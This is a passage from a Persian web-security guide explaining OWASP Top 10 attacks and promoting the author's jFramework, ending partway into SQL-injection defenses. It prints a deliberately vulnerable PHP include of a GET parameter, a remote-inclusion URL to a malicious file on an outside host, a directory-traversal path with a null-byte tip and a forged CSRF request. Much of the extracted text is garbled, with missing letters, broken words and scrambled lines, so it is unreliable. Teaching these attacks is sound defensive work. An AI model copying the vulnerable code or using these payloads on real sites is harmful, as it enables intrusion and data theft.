کنید، سرور قصد دارد به هنگام  که شما بر روی آدرس فوق کلی  م 
کند. چاپ شما ب وید آدرس یافت نشد، و به همین منظور آدرس را چاپ م 

شده، از آنجایی که  HTMLه تبدیل شدن آن به شدن این آدرس منجر ب
» خال «بینی  ک  سایت شود. شما عبارت  م برچسب اس ریپت است، اجرا م 

  یافت نشد، ول  در پس صحنه اس ریپت اجرا شده و کار خود را کرده است.

ای از نویسان است تا هیچ خروج این حمله نیازمند دقت بسیار برنامه
  روی صفحه نرود. سیستم بدون بررس  بر

http://Site.com/<script>
https://abx.ir


121 
 

 

  نسبت حملات مختلف در اینترنت ٦٨شل 

  انضمام فایل مخرب ٣٬٢٬۴
ایست که در سال ) حملهMalicious File Inclusionحمله انضمام فایل مخرب (

از لیست  ٢٠١٠به عنوان سومین حمله خطرناک شناخته شده بود، ول  در سال  ٢٠٠٧
  ف  نشده و تنها در حمله چهارم گنجانیده شده است.اصل  حذف شد. این حمله ر

های ها، ی  قالب کل  طراح  کرده و برای صفحات مختلف دادهبسیاری از سیستم
ها در چینند که بسته به درخواست کاربر، این صفحهمختلف درون فایلهای مختلف م 

  شوند. قابل کل  ضمیمه م 

معمولا درخواست کاربری که باید صفحه  نویسان تنبل هستند،از آنجایی که برنامه
مربوطه را بار کند، با نام صفحه ی سان است، بنابراین به سادگ  فایل درخواست کاربر 

  دهند. به عنوان مثال سیستم زیر را در نظر ب یرید:را بار کرده صفحه را نمایش م 

<h1>Welcome to my Site</h1> 
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<?php include “{$_GET[‘page’]}” ?> 

<?php comments_section();?> 

این صفحه بسیار ساده، با استفاده از ی  سرآیند ساده و ی  بسایند مربوط به 
کند و در ای که کاربر درخواست داده از پوشه جاری بار م دریافت نظرات کاربر، صفحه

  دهد. حال اگر کاربر عبارت  زیر را در آدرس وارد کند:میانه صفحه نشان م 

Site.com/?page=https://abx.ir/me/malicious.txt 

کند. در کد برای بار کردن قسمت میان ، ی  تکه کد از ی  سایت دی ر را بار م 
نویس فرض کرده که کاربر چیزی خارج از لیست  که خود در اختیار او این سناریو برنامه

.قرار داده، به عنوان صفحه درخواست نم    کند

توان هر ترین حمله موجود است، زیرا نفوذگر م کاین حمله به سادگ  خطرنا
کد دلخواه  را به سرعت بر روی سرور اجرا نماید و ردپایی نیز از کد اجرا شده بر روی 

!سرور نم    ماند

  دو نوع کل  نیز برای این حمله متصور است:

  انضمام فایل از دور ٣٬٢٬۴٬١
برنامهRemote File Inclusionدر این سناریو ( را تحت قالب نویس فایل )، 

) به صورت مستقیم به صفحه وارد کرده است. includeی  دستور انضمام (مانند 
کند و با توجه به نفوذگر نیز ی  آدرس کامل به جای پارامتر مورد نظر وارد م 

  ، فایل از روی اینترنت نیز قابل باز کردن است.PHPام انات 

https://abx.ir/me/malicious.txt
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٣٬٢٬۴٬٢ انضمام فایل محل  
دتر از انضمام فایل از دور است. در این انضمام فایل محل ، بسیار محدو

  نویس پیشوندی را به فایل انضمام شده اضافه کرده است، مثلاسناریو، برنامه

include “page/$file”; 

include “language_$file.php”; 

توان ی  آدرس کامل را وارد نماید، زیرا پیشوند در اینجا نفوذگر دی ر نم 
تواند با کند. در عوض نفوذگر م ماندن آن جلوگیری م افزونه شده به آن از صحیح 

های نسبی، فایل  را بر روی سیستم سرور بار کند. مثلا با وارد استفاده از آدرس
تواند فایل تنظیمات سایت را از سه پوشه قبلتر م  config.txt/../../..کردن عبارت 

  شود بخواند.از جایی که برنامه اجرا م 

بسیار خفیفتر است، در حال  که  RFIاز  LFIکن د که بسیاری تصور م 
وجود دارند که برخ  از آنها در  RFIبه ی   LFIروش برای تبدیل ی   ١۵بیش از 

  اند.مقالات منتشر شده نگارنده ذکر شده

که php.شود (مانند توجه داشته باشید که پسوندی که به داده ضمیمه م   (
، اهمیت  ندارد زیرا با افزودن ی  کاراکتر صفر در مثال دوم فوق مشاهده شده است

  توان رشته را منقط  نمود و ادانه آنرا دور ریخت.م 

  ارجاع مستقیم نامطمئن به محتوا ٣٬٢٬۵
باشند، این حمله تا های برای نفوذ به ی  سیستم تلاش نکردهبرای افرادی که ساعت

یعن   Insecure Direct Object Referenceحدودی گمراه کننده خواهد بود. 
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ارجاع مستقیم و خط  داشته  –خصوصا محتوای حساس  - محتوای داخل  سیستم 
  باشند که کنترل دسترس  نیز بر روی آنها انجام نشود.

های برای حفظ سرعت، کنترل دسترس  را تنها بر روی برخ  از در بسیار از سیستم
توان با ها م . در این سیستمشوددهند که فایلهای ایستا را شامل نم ها انجام م المان

  استفاده از این روش به سیستم رخنه کرد.

های کاربران را در پوشه میلمیل  را تصور کنید که ایبه عنوان مثال، سیستم ای
ام سیستم است، در پوشه   ١٧که کاربر  abiusxدهد. مثلا ایمیل کاربر  خاص  قرار م 

ی  شماره است که از تاریخ و ساعت ایجاد شده  گیرد و نام هر فایل ایمیلزیر قرار م 
  است:

Email.com/mails/17/2012-07-01_17-22-11.txt 

چیند تا برنامه خواناتر بوده ها را در قالب مطرح شده م سسیتم فوق ایمیل
نویسان هم تنبل هستند تر شود. همانطور که ذکر شد برنامههای سادهدسترس  به فایل

  که امنیت تا حد قابل توجه  بی نظم  لازم دارد.هم منظم، در حال  

نفوذگری که در سیستم فوق حساب دارد، با کشف ال وی مطرح شده، به 
های محتمل دی ر کاربران را باز کرده و بخواند. کافیست شماره تواند ایمیلسادگ  م 

  کاربری آن کاربر را پیدا کند و ساعت تقریبی ایمیل مورد نظر را نیز بداند.

رسد این مش ل زیاد معمول نیست، تقریبا تمام  علارغم اینکه به نظر م 
.ها از این معضل به طوری رن  م سایت   برند

به عنوان حمله پرکاربرد چهارم مطرح شده  ٢٠١٠و  ٢٠٠٧این حمله در سال 
  است.
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٣٬٢٬۶ جعل درخواست بین سایت  
) XSCR )Cross Site Request Forgeryیا  CSRFاین حمله که با عنوان 

و  ٢٠٠٧شود نیز از حملات پیچیده و به شدت خطرناک است. در سال شناخته م 
  ام قرار داشته است. ۵این حمله در رتبه  ٢٠١٠

ای اس ریپت در ی  سایت پربازدید و دارای در این حمله، نفوذگر ابتدا با درج قطعه
گیرد و محتوای  )، از ضعف ی  سایت دی ر بهره مXSSرخنه (با استفاده از روشهای 

  دهد.کاربران در آن سایت را تغییر م 

بر روی آدرس زیر،  GETفرض کنید که سایت فیس بوک، با دریافت ی  درخواست 
  ی  نظر برای ی  مطلب درج کند:

Facebook.com/doComment.php?postId=100&comment=die in hell 

ایت  است و ام ان این م انیزم سایت فیسبوک، دارای رخنه درخواست بین س
جعل درخواست در آن فراهم است. کافیست نفوذگری، ی  تصویر در ی  سایت 

) قرار دهد که آدرس آن دقیقا آدرس فوق باشد. این تصویر Youtubeپربازدید  (مانند 
شود، درست بار نخواهد شد و به جای آن شمایل عدم بار شدن تصویر نمایش داده م 

بیند، کاوش ر وی به صورت خودکار ارای این تصویر را م اما هر کاربری که صفحه د
کند تا تصویر را دریافت کند. ارسال ی  درخواست درخواست به آدرس فوق ارسال م 

به آدرس فوق نیز (در صورت  که کاربر در حال حاضر داخل سایت فیس بوک نیز وارد 
شود، بدون اربر م شده باشد) منجر به درج ی  نظر زیر مطلب ذکر شده توسط این ک

  ای متوجه اتفاق افتاده باشد.اینکه کاربر ذره
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توان ترافی  قابل توجه  را به ی  سایت وارد کرد، با استفاده از این روش م 
های حساس (مانند بدون اینکه کاربران متوجه این اتفاق باشند. همچنین اگر سیستم

ت (مانند تغییر رمز) به این های حساس داخل ی  سایهای بانک ) یا فعالیتسیستم
  توان به سادگ  و بدون فهم کاربر انتقال وجه و تغییر رمز داد.حمله حساس باشند، م 

تنها نیاز این حمله، جامعه آماری بزرگ است. در سناریوی بالا کاربران  که در 
دقیقه گذشته) درخواستشان کار خاص  نخواهد  ٣٠اند (در سایت فیس بوک وارد نشده

. همچنین سایت خاط ، سایتیست که به این حمله مقاوم نیست (در سناریوی فوق کرد
  فیس بوک) نه سایت  که اس ریپت مخرب در آن درج شده است.

قابل اجرا نیست  GETهای تنها بر روی درخواست CSRFبر خلاف باور عموم، 
ی ی  گیرد. کافیست به جانیز به سادگ  انجام م  POSTهای و بر روی درخواست

  تصویر، ی  قطعه اس ریپت اجرا شود که ی  فرم نامرئ  را ارسال نماید.

گیری، نسبت به این مسئله ضعیف هستند و با های رایبسیاری از سایت
توان توسط کاربران بسیاری بدون آنکه بدانند به ی  استفاده از م انیزم فوق، م 

  موضوع یا فرد خاص رای داد و آرا را غیرواقع  کرد.
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  CSRFسناریوی نمادین  ٦٩شل 

  

  ضعف احراز هویت و مدیریت نشست ٣٬٢٬٧
احراز هویت و مدیریت نشست، معمولا به صورت واحد در ی  سیستم انجام 

  شوند. بدون مدیریت و ایجاد نشست، ام ان احراز هویت نیز وجود نخواهد داشت.م 

های پیچیده احراز هویت سبت به روشهای امروزی ناکثر قریب به اتفاق سیستم
ام در ٧اند. این حمله از رتبه های ضعیف و نادرست ارائه دادهسازیمش ل دارند و پیاده

  انتقال یافته است. ٢٠١٠،  به رتبه سوم سال ٢٠٠٧سال 

)، از Session IDدر صورت  که عبارت انتخاب شده برای شناسه نشست (
اشد و به طریق  قابل محاسبه باشد، تمام کاربران خاصیت تصادف  کاف  برخوردار نب
  گیرند.سیستم در معرض خطر قرار م 
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دقیقه  ٣٠کنند که کاربران را پس از ها فراموش م همچنین بسیاری از سایت
عدم فعالیت و ی  هفته فعالیت، به صورت خودکار از سیستم خارج کنند، لذا هنگام  

کند، کاربر بعدی به شود و محل را ترک م م  که کاربری در ی  کاف  نت کارش تمام
  اطلاعات وی دسترس  خواهد داشت.

ها دچار مش ل نیز در اکثر سایت» مرا به یاد داشته باش«م انیزم محبوب 
سازی این م انیزم، درج نام کاربری و رمز عبور فرد در امنیت  است. راحتترین راه پیاده

ورود سیستم رجوع کرد، اطلاعات ورود به  کوک  است تا وقت  دفعه بعدی به صفحه
سیستم خودکار توسط کاوش ر ارائه شود و کاربر دی ر نیازی به وارد کردن آنها نداشته 

، دسترس  مستقیم) نام XSSباشد. در این روش اگر کس  به کوک  دسترس  پیدا کند (
  کاربری و رمز عبور را خواهد داشت.

گسترده هستند، در بخش بعدی با بررس   از آنجایی که حملات این بخش بسیار
  های دفاع  بیشتر با آنها آشنا خواهید شد.م انیزم

  تنظیمات ناصحیح و مدیریت خطا ٣٬٢٬٨
افزارهای استفاده شده در ی  سیستم وب، بسیار متعدد و متنوع هستند و نرم

ند که افزارها معمولا فایل تنظیمات مفصل  دارپیچیدگ  قابل توجه  دارند. اینگونه نرم
بسیاری از توسعه دهندگان و مدیران سرور، حوصله بررس  کامل و اصلاح آنرا ندارند و 

  اصلا با بسیاری از مفاهیم داخل آن آشنایی ندارند.

گذارد. از مهمترین تنظیمات این مهم، بستر را برای نفوذ به سیستم باز م 
اهای رخ داده نادرست، تنظیمات ناصحیح مدیریت خطاست. به صورت پیشفرض، خط
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-افزار) بر روی صفحه ارائه م در سیستم با جزئیات کامل (و حت  قسمت  از کد نرم

  نویسان است.ها توسط برنامهشوند. اینکار برای راحت  توسعه سیستم

کند که خطاها در هنگام کارکرد معمول سیستم، ذخیره تنظیمات درست ایجاب م 
ی صفحه نمایش داده نشوند. بسیاری از ) شوند و اصلا بر روLogو گزارش یری (

های غیر معمول به ی  سیستم، خطاهای آنرا مشاهده نفوذگران ابتدا با دادن ورودی
برند تا آنرا مورد نفوذ قرار کنند و سپس به نحوه کارکرد داخل  سیستم پی م م 

  دهد، به سادگ  قابل رخنه نیست.دهند. سیستم  که خطا نم 

نماید که خطاها هنگام کارکردن مدیر سیستم م  ایجابست همچنین تنظیمات در
نویسان آن، بر روی صفحه نمایش داده شوند. اگر این مهم رعایت نشود، یا برنامه
کنند تا نویسان بی حوصله به سادگ  تنظیمات مخف  کردن خطاها را حذف م برنامه

  راحتتر بتوانند سیستم را توسعه دهند.

٣٬٢٬٩ کاریمخف  
بوده است. بسیاری  ٢٠١٠و  ٢٠٠٧معضل دهم و هشتم سالهای  مخف  کاری،

سازی صحیح احراز هویت و کنترل دسترس ، از مخف  دهندگان، به جای پیادهاز توسعه
کنند. به عنوان به جای استفاده از نام کاربری و رمز عبور و کنترل کاری استفاده م 

ی صفحه مدیر سیستم در دسترس  قوی برای مدیریت سیستم، ی  آدرس پیچیده برا
  گیرند که تنها با وارد کردن آن بتوان وارد سیستم شد:نظر م 

Site.com/admin/you_have_to_know_this/1234/ 

در نگاه اول شاید به نظر برسد این م انیزم خوب 
است، ول  در دراز مدت و همچنین با ه  شدن سیستم 
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  شود.رود و همه چیز برملا م ی   از کاربران مدیر این سیستم، آدرس لو م 

آل است و امنیت به وسیله کاری حداقل  ایدههای امنیت ، مخف در سیستم
 مخف  کاری همیشه مذموم است.

  

  رمزنگاری نامطمئن ٣٬٢٬١٠
را به خود  ٩و  ٧رتبه  ٢٠١٠را ی جا و در سال  ٩و  ٨، رتبه ٢٠٠٧اتفاق  که در سال 

های ریاضیات، کامپیوتر و میان علماختصاص داده است. رمزنگاری علم  پیچیده 
ای نیز آگاه  کاف  با رمزنگاری بسیاری از متخصصان امنیت حرفهمخابرات است. 

توسعه٨٠ندارند.  ساز ی طرفه و امن تابع چ یده MD5دهندگان باور دارند که تابع % 
کاملا منقض   ٢٠٠٨ش سته شده و در سال  ٢٠٠٠است، در حال  که این تابع در سال 

  ده است.ش

توان آنرا به دو دسته عمده تقسیم رمزنگاری دو رتبه به خود اختصاص داده، زیرا م 
  نمود:

  رمزنگاری ارتباطات ٣٬٢٬١٠٬١
دهند، از کاربران هنگام  که عملیات حساس  را درون ی  سایت انجام م 

HTTPS  کنند. تنها تفاوت آن با استفاده مHTTP های تبادل در آنست که داده
  توسط هیچ س قابل خواندن نیست. شده در شب ه

های وبی و های وبی، احتیاج قابل توجه  به ارتباط با دی ر سیستمسیستم
دارند. به عنوان مثال بسیاری از  –جهت انجام امور مختلف  –سرورهای دی ر 

 ٧٠شل   کاریطنز مخف
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سایتهای امروزی، احراز هویت خود را با نام کاربری ورمز عبور گوگل شما انجام 
  زم نیست بر روی آنها حساب جدید بسازید.دهند و دی ر لام 

 HTTPها، تبادل اطلاعات خود با گوگل را از طریق در صورت  که این سیستم
انجام دهند، هر نفوذگری که در مسیر این ارتباط باشد به نام کاربری و رمز عبور 
ها تمام کاربران این سیستم دسترس  خواهد یافت، اما از آنجایی که این سیستم

دهندگان بر آنست که نفوذگری سر راه قرار ولا در اینترنت هستند، فرض توسعهمعم
 نخواهد گرفت.

در عوض نفوذگران مبتکر، اقدام به سرقت یا حت  خرید ی  سرور در دیتاسنتر 
-کنند، و به سادگ  به ترافی  شب ه آن سرور دسترس  کامل م سرور مورد نظر م 

  یابند.

 

  های دارای گواهینامه معتبر معمولا چنین لوگوی ارجاع به مرجع تایید کننده دارندسایت ٧١شل 

  

  هارمزنگاری داده ٣٬٢٬١٠٬٢
های ذخیره شده در ی  سیستم، در صورت  که حساسیت قابل توجه  داده

داشته باشد، باید رمزنگاری شود. هیچ سیستم  اجازه ندارد اطلاعات کارت 
دی ر اطلاعات بسیار حساس کاربران در مستقیما درپای اه اعتباری، رمز عبور و 

داده خود ذخیره نماید، زیرا کاربران دلیل  ندارند به تمام پرسنل آن سیستم اعتماد 
  کاف  داشته باشند.
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  اینگونه اطلاعات باید ی طرفه یا دوطرفه رمزنگاری شوند:

  گیری)رمزنگاری یطرفه (چیده ٣٬٢٬١٠٬٢٬١
عات  که فقط دانستن آن توسط کاربر لازم است رمز عبور کاربران، و هر اطلا

گیرد، باید به صورت ی طرفه و برروی آن جستجو و عملیات دی ری انجام نم 
گیری ی طرفه است، لذا از چ یده ) شوند. عملیات چ یدهHashگیری (چی ده

  توان خود آنرا کشف کرد.ی  رمز نم 

وذ به ی  سیستم، رمز تمام در صورت  که این مهم انجام نشود، نفوذگر با نف
های دی ر نیز کند و اکثر این کاربران در سیستمکاربران آن سیستم را کشف م 

  کنند.از همین رمز استفاده م 

 

  MD5نحوه کارکرد  ٧٢شل 

  رمزنگاری دوطرفه ٣٬٢٬١٠٬٢٬٢
های های حساس، مانند فایل) برای دادهEncryptionرمزنگاری دوطرفه (

ها با داشتن رمز ص  و مطالب خصوص  کاربران، مفید است. این دادهخصو
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مناسب قابل بازیابی است. لازم به ذکر است که رمز مورد نظر در سیستم ذخیره 
شود بل ه هر دفعه که کاربر قصد دسترس  به اطلاعات مذکور را دارد، رمز را نم 

.ه م کند و سیستم به صورت ی بار مصرف آنرا استفادوارد م    کند

در صورت  که اینکار انجام نشود، با رخنه به ی  سیستم، تمام اطلاعات تمام 
رود و اگر این اطلاعات محرمانه و خصوص  باشند (مانند اسناد کاربران لو م 

  شود.عملیات  ی  سازمان) اعتبار آن سازمان دچار خدشه اساس  م 

  مشتری طرفامنیت  ٣٬٢٬١١
کنند. به عنوان مثال ی  ر سط  مشتری تامین م ها، امنیت را دبسیاری از سایت

های آن بررس  فرم عضویت در سیستم را در نظر ب یرید که توسط جاواس ریپت فیلد
  گردد.شود و روی اصول بودن آن تایید م م 

ها را نویس این فرم ی بار کد مربوط به تایید صحت و درست  دادهاز آنجایی که برنامه
ه است، حوصله بازنویس  کد مشابه در سمت سرور را ندارد، لذا در جاواس ریپت نوشت

رسد کند. با تست و اجرای برنامه نیز به اطمینان م به بررس  سمت کلاینت اکتفا م 
.ها صحیح انجام م که بررس    شوند

کند و یا های اعمال شده روی صفحه را غیر فعال م اما ی  نفوذگر به سادگ  بررس 
سازد و از طریق آن نسبت به ارسال داده اقدام بدون نیاز به بررس  م  ی  صفحه مشابه

ها را مجدد چ  نکند دچار مش ل کند. در صورت  که سرور در سمت خود بررس م 
  جدی خواهد شد.
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شوند و خط های مخف  برای ارسال داده استفاده م همچنین بسیاری از اوقات فیلد
شود. تمام  این موارد معضل امنیت   یری م فعالیت کاربر توسط سیستم خودش پی

  قابل توجه دارند.

  غیره ٣٬٢٬١٢
حملات وب به حملات مطرح شده در بالا محدود نیستند و حملات بسیاری روزانه 

اشاره داشت که در  DSN Rebindingتوان به حمله شوند. به عنوان مثال م کشف م 
.کتعداد قابل توجه  از کاربران را آلوده م  DNSسط     ند

و لذا  –حملات  که در این بخش مطرح نشدند یا کم اهمیت هستند یا از پیچیدگ  بالا 
   برخوردار هستند. –تعداد نفوذگران کمتر 

افزار ی  رشته بسیار پویا و به روز است، برای آشنایی بیشتر با از آنجایی که امنیت نرم
  د.های تخصص  مراجعه نمواین حملات باید به اینترنت و سایت
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  چهارچوب توسعه وب امن ٤
سازی ی  سیستم، تنها ام ان سوء استفاده از ی  رخه را های امنبسیاری از م انیزم

ها به طور کل  بی فایده هستند، زیرا دهند. این دسته از م انیزمبه صورت احتمال  کاهش م 
ها ت ها م انیزموجود ی  رخنه در سیستم به معن  نفوذ شدن به آن است و استفاده از این 

رخنه داشته باشد (که عدد بسیار  ٣٠٠شود. به عنوان مثال سیستم  که باعث اعتماد کاذب م 
یابد ول  امنیت آن اصلا رخنه کاهش م  ١٠ها به محتمل  است)، با استفاده از اینگونه م انیزم

های کلاسی  روش هایی خواهند بود که بایابد زیرا نفوذگران نیز به دنبال رخنهبهبودی نم 
  قابل رف  نباشد.

 SQLها، بررس  کلمات معمول از درخواست “و  ‘روشهایی مانند حذف کاراکترهای 

injection .در ی  درخواست و غیره از این دسته هستند  

  چهارچوب پیشنهادی ٤٬١
، که در بیش از jFrameworkچهارچوب ارائه شده در این سند، شناخته شده با نام 

ر حال استفاده است، پس از تجربیات متعدد نگارنده در حوزه نفوذگری و سایت د ١١٠٠٠
، به وضعیت OWASP ESAPIالملل  امنیت وب و همچنین شرکت در پروژه بسیار بزرگ بین

  امن و افتخار آمیز امروزی رسیده است.

OWASP ESAPI های بزرگ در واق  ی  چهارچوبٍ چهارچوب است که برای سازمان
 ان توسط انجمن آزاد اواسپ طراح  شده است. این چهارچوب، اصول کل  به صورت رای

سازی باز گذاشته است. به دلیل امنیت وب را رعایت کرده و راه ارهای مختلف آنرا برای پیاده
ها، استفاده وسیع  سازیپیچیدگ  قابل توجه این چهارچوب و همچنین دشواری برخ  از پیاده

  ته است.از این چهارچوب صورت نگرف
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jFramework  به عنوان ی  چهارچوب عملیات  و سب ، با استفاده از تجربیات و نکات
ESAPI  شود. بسیاری طراح  شده و در حال حاضر چهارچوبی بسیار امن و قدرتمند تلق  م

های از پیش آماده خود های امنیت  این چهارچوب در کنار سیستمها تنها از ویژگ از سازمان
.گبهره م    یرند

۴٬١٬١ های بارز چهارچوب پیشنهادیویژگ  

  تعامد ۴٬١٬١٬١
- چهارچوب ارائه شده ی  چهارچوب کم تعامد است، بدین معن  که برنامه

های آن استفاده کند، یا اینکار را نکند. هیچ ونه الزام  از جانب تواند از ال ونویس م 
نویسان امهشود برنشود و این خود باعث م نویس القا نم چهارچوب بر روی برنامه

  متعدد به سراغ چهارچوب بیایند.

  زبان و بستر ۴٬١٬١٬٢
های عامل قابل نوشته شده و بر روی تمام  سیستم PHPچهارچوب به زبان 

اجرا و تست شده است. پای اه داده برای کارکرد آن الزام  نیست (و ام انات قالب 
با استفاده از  های پیشرفته چهارچوببندی و غیره فعال هستند) ول  بسیاری از ویژگ 

.پای اه داده انجام م    شوند

-اندازی آن با کپی انجام م همچنین چهارچوب احتیاج به نصب ندارد و راه

  گیرد. حت  نیازی به تغییر نام کاربری و رمز عبور پای اه داده در هنگام کپی نیست.

  دادهپایاه ۴٬١٬١٬٣
-د. واسطگیرهای مختلف بهره م های خود برای پای اهچهارچوب از واسط

های تعریف شده بسیار امن و قابل ردگیری هستند. تعریف ی  واسط جدید برای 
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پای اه  ۵های موجود بیش از سیستم در کمتر از ی  ساعت مم ن است و واسط
.داده معروف را پشتیبان  م    کنند

ORM   به صورت پیشفرض در چهارچوب وجود ندارد، ولDoctrine  ام ان
- گیرد. همچنین تمام قابلیتو به خوبی با چهارچوب قالب م افزوده شدن را دارد 

ای نیز قابل استفاده هستند، یعن  پس از  ORMهای چهارچوب از طریق واسط 
کتابخانهDoctrineافزودن  .ای خود چهارچوب نیز فعال م ORMهای ،    شوند

  مدیریت کاربران و نشست ۴٬١٬١٬۴
اربران و مدیریت نشست های و اصول امنیت  در مدیریت کجدیدترین تکنولوژی

توان تنظیم کرد چهارچوب به کار گرفته شده است. همه چیز قابل تنظیم است. م 
  که هر کاربر از چند م ان همزمان بتواند وارد سیستم باشد.

اند. حجم کد سازی شدههای جزئ  با دقت و تست امنیت پیادههمچنین ویژگ 
  .پرهیز شده است Bloatبسیار پایین است و از 

۴٬١٬١٬۵ کنترل دسترس  
jFramework  تنها چهارچوبیست که کنترل دسترس  نقش محور استاندارد

نم ید. هر ای پشتیبان  م سط  دو را به صورت کامل و با سرعت قابل ملاحظه
گیرد (برای سیستم  بررس  کامل در این زیرساخت کمتر از ی  دهم ثانیه زمان م 

  د هزار مجوز)نقش و ص ١۴٠٠٠کاربر و  ١٠٠٠با بیش از 

این زیرساخت در تمام ابعاد سیستم گنجانده شده است و دسترس  به بخش 
بزرگ  از کل سیستم را به سادگ  با ایجاد ی  فایل کنترل دسترس  در پوشه پدر 
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توان به صورت خودکار و ی جا انجام داد. این مهم باعث شده هیچ دام از م 
  ف کنترل دسترس  نداشته باشند.های نیرو گرفته از این چهارچوب ضعسیستم

۴٬١٬١٬۶ SEO  
- سازی برای موتورهای جستجو را کاملا رعایت م چهارچوب اصول بهینه

کند. پردازش خروج  و تمیز کردن آن (هم از منظر امنیت  هم فن )، آدرسهای زیبا 
های شده و ام ان مدیریت ی  دسته آدرس با ی  کنترل ر به صورت ی جا، از ویژگ 

  این بخش هستند.

  وب سرویس ۴٬١٬١٬٧
کرده و آنرا به استاندارد وب سرویس پشتیبان  م  ٨چهارچوب از ابتدا از بیش از 
دهد. کنترل دسترس  و کنترل نشست بر روی صورت کاملا شفاف ارائه م 

  ها وجود دارند.سرویس

های ها بسیار بالاست و زیرساخت ام ان ایجاد سیستمسرعت پردازش  سرویس
  آورد.  فراهم م شده را به سادگتوزیع

  آژاکس ۴٬١٬١٬٨
خود ام ان وجود مین  کنترل رها برای آژاکس  MVCچهارچوب در زیرساخت 

های آژاکس به را فراهم آورده است. همچنین حذف لایه نمایش برای درخواست
  سادگ  مهیاست.

  کش و پشتیبان ۴٬١٬١٬٩
 PHP APCندارد و وابسته به  Cacheچهارچوب به صورت پیشفرض ام ان 

.عمل م    کند
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  دیر ت خطام ۴٬١٬١٬١٠
مدیریت خطا در چهارچوب به بهترین نحو پیاده سازی شده است. 

دهد و بر اساس آن ارائه و چهارچوب هوشمندانه وضعیت کاری را تشخیص م 
  دهد.گزارش یری خطاها را انجام م 

اس امچهارچوب خطاهای حساس و امنیت  را به مدیر سیستم ایمیل و اس
ه سیستم، خطاها با جزئیات و پیشنهادات رف  کند. همچنین در وضعیت توسعم 

.ارائه م    شوند

  مدیریت زمان ۴٬١٬١٬١١
افزار جانبی، قدرتمند، بدون اتکا به نرم Profilingچهارچوب با زیرساخت 

کند و گزارش مختصری از وضعیت ها را کم  و کیف  زمانسنج  م تمام فعالیت
  نماد.بحران  ایجاد م 

  الوی توسعه ۴٬١٬١٬١٢
-را کاملا پشتیبان  م  Push MVCو  Pull MVCوی چهارچوب هر دو ال 

  اند.هاییست که این ال و را ارائه دادهکند و از اولین چهارچوب

MVC  درjFramework افزار طراح  شده و زیبایی با اصول مهندس  نرم
نماید. همچنین برای طراح  ی  دار نم نویس  را خدشهساختار و سهولت برنامه

  خط کد احتیاج است. ١٠از به ک تر  MVCبلوک 
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  قالب بندی ۴٬١٬١٬١٣
ای و مجزا در قالب فایل بندی (سرآیند/بسایند) به صورت کرکرهام ان قالب

است که نیازی به پای اه داده نیز  jFrameworkسیستم، از قدرتمندترین ام انات 
  ندارد.

بندی خروج  (در های آماده متعددی برای پردازش و قالبهمچنین افزونه
  ی توکار) فراهم آمده است.هاسیستم

  مدیریت زبان ۴٬١٬١٬١۴
jFramework محور پای اه  تنها چهارچوبیست که مدیریت زبان گراف  هم

دهد. افزودن ی  زبان به سیستم در کمتر از چند دقیقه را بدون پیچیدگ  ارائه م 
- بدون تغییر کد ام ان پذیر است و واسط ترجمه جملات نیازمند ترجمه را ارائه م 

  دهد.

  هافزونها ۴٬١٬١٬١۵
jFramework  از ال ویObserver  کند و به دلایل امنیت  پشتیبان  نم

) Wrapperهای شخص ثالث، باید برای آنها کاغذپیچ (برای استفاده از کتابخانه
  نوشت. اینکار به دلایل امنیت  لازم است.

نویس اصرار به عدم انجام این مهم داشته باشد، ام ان در صورت  که برنامه
  فاده عادی از کتابخانه نیز فراهم است.است

  مدیریت دانلود ۴٬١٬١٬١۶
از  HTTPبوده، تمام رفتارهای  HTTPچهارچوب دارای ماژول پروتکل 

کند. تمام محتوای ارائه شده جمله مدیریت دانلود را به خوبی مدیریت م 
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(ایستا/پویا) قابل کنترل دسترس  بدون سربار هستند، یعن  در صورت  که کنترل 
های مربوطه برای دسترس  به منابع بر روی آنها اعمال نشود، کتابخانه دسترس 
  شود.شوند و تغییری در سرعت ایجاد نم بار نم 

  همچنین ام ان کنترل سرعت و حجم نیز بدون سربار فراهم است.

  تست ۴٬١٬١٬١٧
به صورت محل   SimpleTestو  PHPUnitچهارچوب از هر دو کتابخانه 

ابخانه به صورت پیشفرض درون چهارچوب هستند و کند. هر دو کتپشتیبان  م 
  های تست است.استفاده از آنها تنها نیازمند ایجاد فایل

  توکار ٤٬١٬١٬١٨
چهارچوب بیش از ی  سال است که ام ان استفاده توکار را فراهم آورده 
است. این مد فعالیت، ام ان استفاده از چهارچوب و ام انات قدرتمند آنرا در داخل 

  ) فراهم آورده است.Wordpressار جانبی (مثل افزش م ی  نرم

یافته برای رسیدن به این نقطه نیازمند وجود کد بسیار مرتب و سازمان
  چهارچوب بوده است.

  لیسانس و دسترس چهارچوب ۴٬١٬٢
بوده و کاملا  LGPLهای محوری آن تحت لیسانس چهارچوب و تمام  افزونه

و  jframework.infoباشد. کد منبع چهارچوب در سایت متن باز م 
sourceforge.net  قابل دسترس  بوده و سیستم کنترل نس  آن تمام  نس  آنرا در

  دهد.اختیار قرار م 
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. م ابایت م  ۵است و حجم آن کمتر از  ٣٬۵آخرین نسخه چهارچوب نسخه  باشد
  بالاتر است. PHPهای % چهارچوب٩٠سرعت چهارچوب در مقایسه با 
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  هارچوبهای امنیتی چراهکار ٤٬٢
.به تفصیل ارائه م  ٣٬٢در این بخش، راه ار معضلات معرف  شده در بخش   شوند

عنوان هر راه ار با عنوان حمله مربوطه ی سان در نظر گرفته شده تا مخاطب بتواند به سادگ  
  راه ار حمله را پیدا و مطالعه کند.

. رس  م قابل دست OWASP.orgبسیاری از راه ارها به زبان لاتین در سایت  باشند
لازم به ذکر است که اکثر مطالب مرتبط در این مستند که در سایت فوق در دسترس  هستند، 

  اند.توسط همین نگارنده ایجاد شده

۴٬٢٬١ SQL Injection 

سه راه کل  برای دفاع در برابر تزریق درخواست وجود دارد که در صورت 
-این سه روش در زیر مطرح شدهدهند. استفاده صحیح، امنیت قابل توجه  را ارائه م 

  اند:

۴٬٢٬١٬١ Escaping  
Escaping گذاری کاراکترهای خاص و معن  بخشیدن به آنها گفته به ع مت

 n\شود. به عنوان مثال در زبان س ، برای نشان دادن کاراکتر خط جدید، از م 
را نمایش دهیم، از آنجایی که  \کنیم. حال اگر بخواهیم خود کاراکتر استفاده م 

 Escapeرود، باید آنرا ن کاراکتر برای معن  دار کردن دی ر کاراکترها به کار م ای
 . .م  \در س  معادل ی  کاراکتر و  \\کنیم   باشد

- در ی  رشته) و مفهوم  م  ”,‘ای دارند (مثل کاراکترهایی که معن  غیرداده

  م.کنی Escapeرسانند، برای اینکه خودشان را استفاده کنیم باید آنها را 
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با اس یپ کردن تمام کاراکترهای معن  دار در عبارت ورودی کاربر، و سپس 
